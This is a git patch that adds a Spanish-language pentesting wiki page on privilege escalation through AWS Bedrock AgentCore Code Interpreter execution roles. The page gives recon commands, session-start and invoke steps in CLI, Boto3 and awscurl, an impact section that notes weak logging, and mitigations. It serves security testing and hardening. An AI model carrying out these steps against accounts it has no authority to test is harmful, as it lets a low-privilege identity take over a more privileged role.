From 0fec75a7e6dc29ca5541cad6f10600c522eedd66 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 19:48:37 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- .../aws-bedrock-privesc/README.md | 113 ++++++++++++++++++ 1 file changed, 113 insertions(+) create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md new file mode 100644 index 000000000..9f3f0ee52 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -0,0 +1,113 @@ +# AWS - Bedrock PrivEsc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Amazon Bedrock AgentCore + +### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot + +AgentCore Code Interpreter es un entorno de ejecución gestionado. Los **Custom Code Interpreters** pueden configurarse con un **`executionRoleArn`** que “proporciona permisos para que el code interpreter acceda a los servicios de AWS”. + +Si un **principal IAM con menores privilegios** puede **start + invoke** una sesión de Code Interpreter configurada con un **rol de ejecución** más privilegiado, el llamador puede efectivamente **pivot into the execution role’s permissions** (lateral movement / privilege escalation dependiendo del alcance del rol). + +> [!NOTE] +> Esto suele ser un problema de **configuración incorrecta / permisos excesivos** (otorgar permisos amplios al execution role del interpreter y/o dar acceso amplio de invoke). +> AWS advierte explícitamente evitar la privilege escalation asegurando que los execution roles tengan **igual o menos** privilegios que las identidades autorizadas a invocar. + +#### Precondiciones (configuración incorrecta común) + +- Existe un **custom code interpreter** con un **execution role** sobre-privilegiado (ej: acceso a S3/Secrets/SSM sensibles o capacidades tipo IAM-admin). +- Un usuario (developer/auditor/identidad CI) tiene permisos para: + - iniciar sesiones: `bedrock-agentcore:StartCodeInterpreterSession` + - invocar herramientas: `bedrock-agentcore:InvokeCodeInterpreter` +- (Opcional) El usuario también puede crear interpreters: `bedrock-agentcore:CreateCodeInterpreter` (le permite crear un nuevo interpreter configurado con un execution role, según los controles/directrices de la organización). + +#### Recon (identify custom interpreters and execution role usage) + +Listar interpreters (control-plane) e inspeccionar su configuración: +```bash +aws bedrock-agentcore-control list-code-interpreters +aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id +```` +> El comando create-code-interpreter admite `--execution-role-arn`, que define qué permisos de AWS tendrá el intérprete. + +#### Paso 1 - Iniciar una sesión (esto devuelve un `sessionId`, no una shell interactiva) +```bash +SESSION_ID=$( +aws bedrock-agentcore start-code-interpreter-session \ +--code-interpreter-identifier \ +--name "arte-oussama" \ +--query sessionId \ +--output text +) + +echo "SessionId: $SESSION_ID" +``` +#### Paso 2 - Invocar ejecución de código (Boto3 o HTTPS firmado) + +No hay **shell interactivo de python** desde `start-code-interpreter-session`. La ejecución ocurre vía **InvokeCodeInterpreter**. + +**Opción A - Ejemplo Boto3 (ejecutar python + verificar identidad):** +```python +import boto3 + +client = boto3.client("bedrock-agentcore", region_name="") + +# Execute python inside the Code Interpreter session +resp = client.invoke_code_interpreter( +codeInterpreterIdentifier="", +sessionId="", +name="executeCode", +arguments={ +"language": "python", +"code": "import boto3; print(boto3.client('sts').get_caller_identity())" +} +) + +# Response is streamed; print events for visibility +for event in resp.get("stream", []): +print(event) +``` +Si el intérprete está configurado con un rol de ejecución, la salida de `sts:GetCallerIdentity()` debería reflejar la identidad de ese rol (no la de la entidad con bajos privilegios), demostrando el pivot. + +**Opción B - llamada HTTPS firmada (awscurl):** +```bash +awscurl -X POST \ +"https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +-H "x-amzn-code-interpreter-session-id: " \ +--service bedrock-agentcore \ +--region \ +-d '{ +"name": "executeCode", +"arguments": { +"language": "python", +"code": "print(\"Hello from AgentCore\")" +} +}' +``` +#### Impacto + +* **Lateral movement** hacia cualquier acceso de AWS que tenga el interpreter execution role. +* **Privilege escalation** si el interpreter execution role tiene más privilegios que el caller. +* Detección más difícil si los CloudTrail data events para las invocaciones del interpreter no están habilitados (las invocaciones pueden no registrarse por defecto, según la configuración). + +#### Mitigaciones / Endurecimiento + +* **Least privilege** on the interpreter `executionRoleArn` (trátalo como los Lambda execution roles / CI roles). +* **Restringir quién puede invocar** (`bedrock-agentcore:InvokeCodeInterpreter`) y quién puede iniciar sesiones. +* Use **SCPs** para negar InvokeCodeInterpreter excepto para los agent runtime roles aprobados (la aplicación a nivel de organización puede ser necesaria). +* Habilitar los apropiados **CloudTrail data events** para AgentCore cuando corresponda; alertar sobre invocaciones inesperadas y creación de sesiones. + +## Referencias + +- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/) +- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/) +- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html) +- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html) +- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html) +- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html) + + +{{#include ../../../../banners/hacktricks-training.md}}